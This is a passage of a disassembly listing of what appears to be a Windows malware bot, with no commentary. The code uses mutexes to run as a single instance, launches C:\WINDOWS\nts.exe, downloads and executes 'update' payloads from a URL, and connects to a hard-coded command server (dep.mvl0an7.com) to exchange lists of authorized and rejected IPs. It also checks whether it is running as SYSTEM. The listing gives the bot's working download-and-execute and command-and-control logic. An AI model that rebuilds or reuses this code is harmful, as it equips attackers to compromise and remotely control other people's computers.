		call	dword_411CF8	; CloseHandle
		and	dword_411018, 0

locret_4036A1:				; CODE XREF: sub_403685+7j
		retn
sub_403685	endp

; ---------------------------------------------------------------------------
		push	ebx
		cmp	dword_41101C, 0
		jz	short loc_4036B0
		xor	eax, eax
		jmp	short loc_4036F4
; ---------------------------------------------------------------------------


loc_4036B0:				; CODE XREF: DMN0:004036AAj
		xor	ebx, ebx
		push	offset a_win32__nts_sm ; "_win32__nts_sm__"
		push	0
		push	0
		call	dword_411D08	; CreateMutexA
		mov	dword_41101C, eax
		cmp	dword_41101C, 0
		jz	short loc_4036F2
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_4036F2
		xor	ebx, ebx
		inc	ebx
		push	dword_41101C
		call	dword_411CF8	; CloseHandle
		and	dword_41101C, 0


loc_4036F2:				; CODE XREF: DMN0:004036CDj
					; DMN0:004036DAj
		mov	eax, ebx


loc_4036F4:				; CODE XREF: DMN0:004036AEj
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4036F6	proc near		; CODE XREF: sub_406485+9p
					; sub_406485:loc_406618p
		push	ebx
		push	esi
		xor	esi, esi
		push	offset a_win32__nts_sm ; "_win32__nts_sm__"
		push	0
		push	100000h
		call	dword_411D0C	; OpenMutexA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40371E
		xor	esi, esi
		inc	esi
		push	ebx
		call	dword_411CF8	; CloseHandle
		xor	ebx, ebx


loc_40371E:				; CODE XREF: sub_4036F6+1Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4036F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403723	proc near		; CODE XREF: sub_40399A+16Ep
					; sub_4066F1+FBp ...

var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jz	short loc_40373B
		and	dword ptr [esi], 0


loc_40373B:				; CODE XREF: sub_403723+13j
		push	44h
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		mov	[ebp+var_44], 44h
		test	ebx, ebx
		jz	short loc_40376B
		push	offset asc_40EDC7 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407670
		pop	ecx
		pop	ecx
		jmp	short loc_403772
; ---------------------------------------------------------------------------


loc_40376B:				; CODE XREF: sub_403723+31j
		mov	[ebp+var_844], 0


loc_403772:				; CODE XREF: sub_403723+46j
		cmp	[ebp+arg_0], 0
		jz	short loc_40378B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		jmp	short loc_40379E
; ---------------------------------------------------------------------------


loc_40378B:				; CODE XREF: sub_403723+53j
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx


loc_40379E:				; CODE XREF: sub_403723+66j
		test	ebx, ebx
		jz	short loc_4037B5
		push	offset asc_40EDC7 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx


loc_4037B5:				; CODE XREF: sub_403723+7Dj
		cmp	[ebp+arg_4], 0
		jz	short loc_4037DF
		push	offset asc_40EDB2 ; " "
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx


loc_4037DF:				; CODE XREF: sub_403723+96j
		lea	eax, [ebp+var_854]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_844]
		push	eax
		push	0
		call	dword_411D10	; CreateProcessA
		test	eax, eax
		jz	short loc_403832
		push	[ebp+var_850]
		call	dword_411CF8	; CloseHandle
		test	esi, esi
		jz	short loc_403823
		mov	eax, [ebp+var_854]
		mov	[esi], eax
		jmp	short loc_40382F
; ---------------------------------------------------------------------------


loc_403823:				; CODE XREF: sub_403723+F4j
		push	[ebp+var_854]
		call	dword_411CF8	; CloseHandle


loc_40382F:				; CODE XREF: sub_403723+FEj
		xor	eax, eax
		inc	eax


loc_403832:				; CODE XREF: sub_403723+E4j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403723	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403838	proc near		; CODE XREF: sub_40399A+65p

var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	ebx
		push	esi
		push	edi
		push	0
		push	0
		push	0
		push	1
		push	offset aMsdownloader ; "msdownloader"
		call	dword_411EF0	; InternetOpenA
		mov	edi, eax
		push	edi
		push	offset aInternetopenI ;	"InternetOpen(): %i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		test	edi, edi
		jnz	short loc_403871
		xor	eax, eax
		jmp	loc_403993
; ---------------------------------------------------------------------------


loc_403871:				; CODE XREF: sub_403838+30j
		push	0
		push	80080300h
		push	0
		push	0
		push	[ebp+arg_0]
		push	edi
		call	dword_411EF4	; InternetOpenUrlA
		mov	ebx, eax
		push	edi
		push	offset aInternetopenur ; "InternetOpenUrl(): %i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jnz	short loc_4038A7
		push	edi
		call	dword_411EF8	; InternetCloseHandle
		xor	eax, eax
		jmp	loc_403993
; ---------------------------------------------------------------------------


loc_4038A7:				; CODE XREF: sub_403838+5Fj
		push	offset aWb_0	; "wb"
		push	[ebp+arg_4]
		call	sub_407300
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4038E0
		push	[ebp+arg_4]
		push	offset aFopenS___ ; "fopen(%s)...\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_411EF8	; InternetCloseHandle
		push	edi
		call	dword_411EF8	; InternetCloseHandle
		xor	eax, eax
		jmp	loc_403993
; ---------------------------------------------------------------------------


loc_4038E0:				; CODE XREF: sub_403838+82j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadingSS ;	"downloading [%s] --> %s\r\n"
		call	nullsub_2
		add	esp, 0Ch
		push	0
		call	dword_411D14	; RtlRestoreLastWin32Error
		jmp	short loc_403918
; ---------------------------------------------------------------------------


loc_4038FD:				; CODE XREF: sub_403838+F9j
		cmp	[ebp+var_4], 0
		jz	short loc_403933
		push	esi
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407760
		add	esp, 10h


loc_403918:				; CODE XREF: sub_403838+C3j
		lea	eax, [ebp+var_4]
		push	eax
		push	3FFh
		lea	eax, [ebp+var_404]
		push	eax
		push	ebx
		call	dword_411EFC	; InternetReadFile
		test	eax, eax
		jnz	short loc_4038FD


loc_403933:				; CODE XREF: sub_403838+C9j
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	[ebp+var_408], eax
		push	esi
		call	sub_407560
		pop	ecx
		push	ebx
		call	dword_411EF8	; InternetCloseHandle
		push	edi
		call	dword_411EF8	; InternetCloseHandle
		cmp	[ebp+var_408], 0
		jz	short loc_40397D
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n"
		call	nullsub_2
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	dword_411D18	; DeleteFileA
		xor	eax, eax
		jmp	short loc_403993
; ---------------------------------------------------------------------------


loc_40397D:				; CODE XREF: sub_403838+123j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadedSS ; "downloaded [%s]	--> %s\r\n"
		call	nullsub_2
		add	esp, 0Ch
		xor	eax, eax
		inc	eax


loc_403993:				; CODE XREF: sub_403838+34j
					; sub_403838+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403838	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40399A	proc near		; DATA XREF: sub_403C3F+361o
					; DMN1:00444F21o

var_3400	= byte ptr -3400h
var_2400	= byte ptr -2400h
var_1400	= byte ptr -1400h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 3400h
		call	sub_407730
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_2400],	0
		mov	[ebp+var_1000],	0
		mov	esi, ebx
		push	esi
		push	offset aUpdateUrlS ; "UPDATE URL: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_3400]
		push	eax
		push	0FFFh
		call	dword_411D1C	; GetTempPathA
		lea	eax, [ebp+var_2400]
		push	eax
		push	0
		push	offset aMsss	; "msss"
		lea	eax, [ebp+var_3400]
		push	eax
		call	dword_411D20	; GetTempFileNameA
		lea	eax, [ebp+var_2400]
		push	eax
		push	esi
		call	sub_403838
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_403B21
		lea	eax, [ebp+var_2400]
		push	eax
		push	offset aDownloadedToS ;	"downloaded to:	<%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_3400]
		push	eax
		push	0FFFh
		call	dword_411D1C	; GetTempPathA
		lea	eax, [ebp+var_1000]
		push	eax
		push	0
		push	offset aMsssx	; "msssx"
		lea	eax, [ebp+var_3400]
		push	eax
		call	dword_411D20	; GetTempFileNameA
		mov	edi, dword_4128A4
		push	0
		lea	eax, [ebp+var_1000]
		push	eax
		push	edi
		call	dword_411D24	; CopyFileA
		test	eax, eax
		jz	loc_403B21
		push	80h
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_411D28	; SetFileAttributesA
		push	offset aUpdate	; "*update \""
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407670
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2400]
		push	eax
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		push	offset asc_40ECD5 ; "\"	\""
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		push	edi
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		push	offset asc_40EDC7 ; "\""
		lea	eax, [ebp+var_1400]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1400]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	offset aRunningSS___ ; "running	%s (%s)...\r\n"
		call	nullsub_2
		add	esp, 0Ch
		push	0
		push	1
		lea	eax, [ebp+var_1400]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_403723
		add	esp, 10h
		test	eax, eax
		jz	short loc_403B21


loc_403B14:				; CODE XREF: sub_40399A+185j
		push	1770h
		call	dword_411D00	; Sleep
		jmp	short loc_403B14
; ---------------------------------------------------------------------------


loc_403B21:				; CODE XREF: sub_40399A+6Ej
					; sub_40399A+CCj ...
		push	0
		push	offset dword_411014
		call	dword_411D04	; InterlockedExchange
		lea	eax, [ebp+var_2400]
		push	eax
		call	sub_407650
		pop	ecx
		test	eax, eax
		jz	short loc_403B4C
		lea	eax, [ebp+var_2400]
		push	eax
		call	dword_411D18	; DeleteFileA


loc_403B4C:				; CODE XREF: sub_40399A+1A3j
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_407650
		pop	ecx
		test	eax, eax
		jz	short loc_403B6A
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_411D18	; DeleteFileA


loc_403B6A:				; CODE XREF: sub_40399A+1C1j
		push	ebx
		call	sub_401076
		pop	ecx
		call	sub_4079A0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40399A	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403B7E	proc near		; CODE XREF: sub_403C3F:loc_403E14p
		xor	ecx, ecx
		mov	eax, ecx
		retn
sub_403B7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_403B83	proc near		; CODE XREF: sub_403C3F+13Bp
					; sub_403C3F+14Dp
		xor	eax, eax
		retn
sub_403B83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B86	proc near		; CODE XREF: sub_403C3F+2C6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_4]
		xor	esi, esi
		push	offset dword_41285C
		call	dword_411CCC	; RtlEnterCriticalSection
		cmp	[ebp+arg_8], 0
		jnz	short loc_403BAE
		push	dword_412934
		call	sub_401F9B
		pop	ecx


loc_403BAE:				; CODE XREF: sub_403B86+1Aj
		mov	esi, [ebp+arg_0]
		mov	eax, ebx
		mov	ecx, 4
		cdq
		idiv	ecx
		mov	ebx, eax
		jmp	short loc_403BF6
; ---------------------------------------------------------------------------


loc_403BBF:				; CODE XREF: sub_403B86+72j
		push	0
		push	dword ptr [esi]
		push	dword_412934
		call	sub_402049
		add	esp, 0Ch
		mov	eax, [esi]
		mov	[ebp+var_4], eax
		push	eax
		call	sub_406D20	; inet_ntoa
		push	eax
		mov	eax, dword_412934
		push	dword ptr [eax+8]
		push	offset aAuthorizedIpIS ; "authorized IP	#%i [%s]\n"
		call	nullsub_2
		add	esp, 0Ch
		dec	ebx
		add	esi, 4


loc_403BF6:				; CODE XREF: sub_403B86+37j
		test	ebx, ebx
		jg	short loc_403BBF
		push	offset dword_41285C
		call	dword_411CD0	; RtlLeaveCriticalSection
		xor	eax, eax
		inc	eax
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403B86	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	edi
		mov	ecx, [esp+0Ch]
		mov	ebx, [esp+10h]
		xor	edi, edi
		jmp	short loc_403C28
; ---------------------------------------------------------------------------


loc_403C1C:				; CODE XREF: DMN0:00403C32j
		mov	eax, [ebx+4]
		mov	[ecx], eax
		mov	ebx, [ebx+8]
		add	ecx, 4
		inc	edi


loc_403C28:				; CODE XREF: DMN0:00403C1Aj
		cmp	edi, 4000h
		jge	short loc_403C34
		test	ebx, ebx
		jnz	short loc_403C1C


loc_403C34:				; CODE XREF: DMN0:00403C2Ej
		mov	edx, [esp+14h]
		mov	[edx], edi
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C3F	proc near		; DATA XREF: sub_40400E+Fo
					; DMN1:00444F9Eo

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		push	offset dword_41285C
		call	dword_411CCC	; RtlEnterCriticalSection
		push	dword_412934
		call	sub_401F9B
		pop	ecx
		push	offset dword_41285C
		call	dword_411CD0	; RtlLeaveCriticalSection
		push	offset aDep_mvl0an7_co ; "dep.mvl0an7.com"
		call	sub_4017BE
		pop	ecx
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_403C87
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403C87
		test	eax, eax
		jnz	short loc_403C8C


loc_403C87:				; CODE XREF: sub_403C3F+3Bj
					; sub_403C3F+42j
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403C8C:				; CODE XREF: sub_403C3F+46j
		mov	[ebp+var_16], 24A2h
		xor	esi, esi
		and	[ebp+var_C], 0
		push	0
		push	offset dword_411024
		call	dword_411D04	; InterlockedExchange
		cmp	dword_411004, 0
		jnz	short loc_403CCA
		movzx	eax, word ptr dword_41100C
		push	eax
		movzx	eax, word ptr dword_411010
		push	eax
		call	sub_4023DC
		pop	ecx
		pop	ecx
		mov	dword_411004, eax


loc_403CCA:				; CODE XREF: sub_403C3F+6Dj
		movzx	eax, word ptr dword_41100C
		push	eax
		movzx	eax, word ptr dword_411010
		push	eax
		call	sub_402449
		pop	ecx
		pop	ecx
		push	dword_411010
		push	offset aMyPortI	; "my port [%i]\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		mov	[ebp+var_1C], eax
		push	eax
		call	sub_406D20	; inet_ntoa
		mov	[ebp+var_20], eax
		movzx	eax, [ebp+var_16]
		push	eax
		push	[ebp+var_20]
		push	offset aSrvSI	; "SRV:	[%s:%i]\n"
		call	nullsub_2
		add	esp, 0Ch
		and	[ebp+var_10], 0
		call	sub_401359
		mov	[ebp+var_10], eax
		test	eax, eax
		jz	loc_403FB9
		push	[ebp+var_10]
		call	sub_4019C3
		pop	ecx
		mov	esi, eax
		push	offset aSrvConnecting_ ; "SRV: connecting...\n"
		call	nullsub_2
		pop	ecx
		movzx	eax, [ebp+var_16]
		push	eax
		push	[ebp+var_14]
		push	[ebp+var_10]
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_403D68
		push	offset aSrvConnectingF ; "SRV: connecting failed.\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403D68:				; CODE XREF: sub_403C3F+117j
		push	offset aSrvHandshaki_0 ; "SRV: handshaking...\n"
		call	nullsub_2
		pop	ecx
		mov	[ebp+var_24], 1000h
		call	sub_403B83
		push	eax
		push	offset aSrvRip?I ; "SRV: rip? %i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		call	sub_403B83
		test	eax, eax
		jz	short loc_403D99
		or	[ebp+var_24], 1


loc_403D99:				; CODE XREF: sub_403C3F+154j
		push	[ebp+var_24]
		movzx	eax, word ptr dword_411010
		push	eax
		push	esi
		call	sub_401D76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_403DC1
		push	offset aSrvHandshaking ; "SRV: handshaking failed.\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403DC1:				; CODE XREF: sub_403C3F+170j
		push	offset byte_40EBFB
		call	nullsub_2
		pop	ecx
		push	esi
		call	sub_401F51
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_403DEA
		push	offset aSrvAckHandshac ; "SRV: ACK handshacking	failed\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403DEA:				; CODE XREF: sub_403C3F+199j
		test	byte ptr [ebp+var_24], 1
		jz	loc_403EA1
		push	offset aSrvSendingReje ; "* SRV: sending rejected IPs\n"
		call	nullsub_2
		pop	ecx
		push	10004h
		call	sub_401048
		pop	ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], eax
		and	[ebp+var_28], 0


loc_403E14:				; CODE XREF: sub_403C3F+1F8j
		call	sub_403B7E
		mov	edi, eax
		test	edi, edi
		jz	short loc_403E39
		mov	edx, [ebp+var_2C]
		mov	[edx], edi
		mov	eax, [ebp+var_2C]
		add	eax, 4
		mov	[ebp+var_2C], eax
		inc	[ebp+var_28]
		cmp	[ebp+var_28], 3FFFh
		jl	short loc_403E14


loc_403E39:				; CODE XREF: sub_403C3F+1DEj
		mov	eax, [ebp+var_28]
		add	eax, eax
		add	eax, eax
		push	eax
		push	[ebp+var_30]
		push	100h
		push	esi
		call	sub_401B8F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_403E6F
		push	[ebp+var_30]
		call	sub_401076
		pop	ecx
		push	offset sub_40EB9E
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403E6F:				; CODE XREF: sub_403C3F+215j
		push	[ebp+var_30]
		call	sub_401076
		pop	ecx
		push	offset aSrvAckRejected ; "SRV: ACK rejected IPs\n"
		call	nullsub_2
		pop	ecx
		push	esi
		call	sub_401F51
		pop	ecx
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_403EA1
		push	offset aSrvAckReject_0 ; "SRV: ACK rejected IPs	failed\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403EA1:				; CODE XREF: sub_403C3F+1AFj
					; sub_403C3F+250j ...
		push	0FFFFh
		push	0
		lea	eax, [ebp+var_2]
		push	eax
		push	esi
		call	sub_401D5B
		add	esp, 10h
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_403FB9
		movzx	eax, [ebp+var_2]
		mov	[ebp+var_28], eax
		cmp	eax, 200h
		jz	short loc_403EE0
		cmp	eax, 201h
		jz	short loc_403F21
		cmp	eax, 202h
		jz	short loc_403EF0
		jmp	loc_403FB4
; ---------------------------------------------------------------------------


loc_403EE0:				; CODE XREF: sub_403C3F+28Cj
		push	offset byte_40EB5F
		call	nullsub_2
		pop	ecx
		jmp	loc_403FB9
; ---------------------------------------------------------------------------


loc_403EF0:				; CODE XREF: sub_403C3F+29Aj
		push	offset word_40EB52
		call	nullsub_2
		pop	ecx
		push	[ebp+var_C]
		push	ebx
		push	dword ptr [esi+470h]
		call	sub_403B86
		add	esp, 0Ch
		test	eax, eax
		jz	loc_403FB4
		mov	[ebp+var_C], 1
		jmp	loc_403FB4
; ---------------------------------------------------------------------------


loc_403F21:				; CODE XREF: sub_403C3F+293j
		test	ebx, ebx
		jnz	short loc_403F2E
		mov	edx, [esi+470h]
		mov	byte ptr [edx],	0


loc_403F2E:				; CODE XREF: sub_403C3F+2E4j
		push	dword ptr [esi+470h]
		push	offset sub_40EB3F
		call	nullsub_2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jz	short loc_403FB4
		push	dword ptr [esi+470h]
		call	sub_407650
		pop	ecx
		test	eax, eax
		jz	short loc_403FB4
		push	0
		push	offset dword_411014
		call	dword_411D2C	; InterlockedExchangeAdd
		test	eax, eax
		jnz	short loc_403FB4
		push	1
		push	offset dword_411014
		call	dword_411D04	; InterlockedExchange
		push	10000h
		call	sub_401048
		pop	ecx
		mov	[ebp+var_2C], eax
		push	dword ptr [esi+470h]
		push	[ebp+var_2C]
		call	sub_407670
		pop	ecx
		pop	ecx
		push	offset sub_40EB25
		call	nullsub_2
		pop	ecx
		push	[ebp+var_2C]
		push	0
		push	offset sub_40399A
		call	sub_407910
		add	esp, 0Ch
		push	eax
		call	dword_411CF8	; CloseHandle


loc_403FB4:				; CODE XREF: sub_403C3F+29Cj
					; sub_403C3F+2D0j ...
		jmp	loc_403EA1
; ---------------------------------------------------------------------------


loc_403FB9:				; CODE XREF: sub_403C3F:loc_403C87j
					; sub_403C3F+E6j ...
		test	esi, esi
		jz	short loc_403FC4
		push	esi
		call	sub_401A3B
		pop	ecx


loc_403FC4:				; CODE XREF: sub_403C3F+37Cj
		cmp	[ebp+var_10], 0
		jz	short loc_403FD3
		push	[ebp+var_10]
		call	sub_4014C2
		pop	ecx


loc_403FD3:				; CODE XREF: sub_403C3F+389j
		push	offset aSrvcommthreadD ; "SrvCommThread: done\n"
		call	nullsub_2
		pop	ecx
		call	sub_4079A0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403C3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FEA	proc near		; CODE XREF: sub_403FEA+21j
					; DATA XREF: sub_404967+1ACo ...
		call	sub_403658
		test	eax, eax
		jz	short loc_404000
		call	sub_40506C
		push	0
		call	dword_411D30	; ExitProcess


loc_404000:				; CODE XREF: sub_403FEA+7j
		push	3E8h
		call	dword_411D00	; Sleep
		jmp	short sub_403FEA
sub_403FEA	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40400E	proc near		; DATA XREF: sub_404967+189o
					; DMN1:00445A71o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0


loc_404019:				; CODE XREF: sub_40400E+A4j
		push	0
		push	0
		push	offset sub_403C3F
		call	sub_407910
		add	esp, 0Ch
		mov	esi, eax
		push	0FFFFFFFFh
		mov	eax, esi
		push	eax
		call	dword_411D34	; WaitForSingleObject
		mov	eax, esi
		push	eax
		call	dword_411CF8	; CloseHandle
		cmp	dword_411030, 0
		jz	short loc_4040B7
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_401001
		pop	ecx
		mov	ecx, 3Ch
		cdq
		idiv	ecx
		lea	eax, [edx+6EAh]
		mov	edi, eax
		push	edi
		push	offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	ebx, edi
		jmp	short loc_40409A
; ---------------------------------------------------------------------------


loc_404074:				; CODE XREF: sub_40400E+8Ej
		push	ebx
		push	offset aISecondsLeft_ ;	"\r%i seconds left   \b\b\b."
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	7D0h
		call	dword_411D00	; Sleep
		sub	ebx, 2
		call	sub_403658
		test	eax, eax
		jz	short loc_40409A
		xor	ebx, ebx


loc_40409A:				; CODE XREF: sub_40400E+64j
					; sub_40400E+88j
		test	ebx, ebx
		jg	short loc_404074
		push	offset asc_40EAC3 ; "\r			     \r"
		call	nullsub_2
		pop	ecx
		cmp	dword_411030, 0
		jz	short loc_4040B7
		jmp	loc_404019
; ---------------------------------------------------------------------------


loc_4040B7:				; CODE XREF: sub_40400E+39j
					; sub_40400E+A2j
		call	sub_4079A0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40400E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040C3	proc near		; CODE XREF: sub_4066F1+3DFp
					; sub_4066F1+488p ...

var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	[ebp+var_44], 3Fh
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	dword_411E40	; GetUserNameA
		test	eax, eax
		jz	short loc_40410A
		cmp	[ebp+var_44], 6
		jnb	short loc_4040EC
		xor	eax, eax
		jmp	short loc_40410A
; ---------------------------------------------------------------------------


loc_4040EC:				; CODE XREF: sub_4040C3+23j
		mov	[ebp+var_1], 0
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aSystem	; "SYSTEM"
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jz	short loc_404107
		xor	eax, eax
		jmp	short loc_40410A
; ---------------------------------------------------------------------------


loc_404107:				; CODE XREF: sub_4040C3+3Ej
		xor	eax, eax
		inc	eax


loc_40410A:				; CODE XREF: sub_4040C3+1Dj
					; sub_4040C3+27j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4040C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40410E	proc near		; CODE XREF: sub_405AC9+1p
					; sub_405BE3:loc_405C59p ...
		push	ebx
		cmp	dword_411028, 0
		jz	short loc_40411C
		xor	eax, eax
		jmp	short loc_404160
; ---------------------------------------------------------------------------


loc_40411C:				; CODE XREF: sub_40410E+8j
		xor	ebx, ebx
		push	offset a_win32__nts_um ; "_win32__nts_um__"
		push	0
		push	0
		call	dword_411D08	; CreateMutexA
		mov	dword_411028, eax
		cmp	dword_411028, 0
		jz	short loc_40415E
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_40415E
		xor	ebx, ebx
		inc	ebx
		push	dword_411028
		call	dword_411CF8	; CloseHandle
		and	dword_411028, 0


loc_40415E:				; CODE XREF: sub_40410E+2Bj
					; sub_40410E+38j
		mov	eax, ebx


loc_404160:				; CODE XREF: sub_40410E+Cj
		pop	ebx
		retn
sub_40410E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404162	proc near		; CODE XREF: sub_405AC9+3Dp
					; sub_405BE3+5Ap ...
		cmp	dword_411028, 0
		jz	short locret_40417E
		push	dword_411028
		call	dword_411CF8	; CloseHandle
		and	dword_411028, 0

locret_40417E:				; CODE XREF: sub_404162+7j
		retn
sub_404162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40417F	proc near		; CODE XREF: sub_4041FB+2Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		lea	ebx, [ebp+var_20]
		mov	byte ptr [ebx],	0
		inc	ebx
		movzx	eax, [ebp+arg_4]
		mov	[ebx], al
		inc	ebx
		mov	ax, [ebp+arg_C]
		mov	[ebx], ax
		add	ebx, 2
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		push	8
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
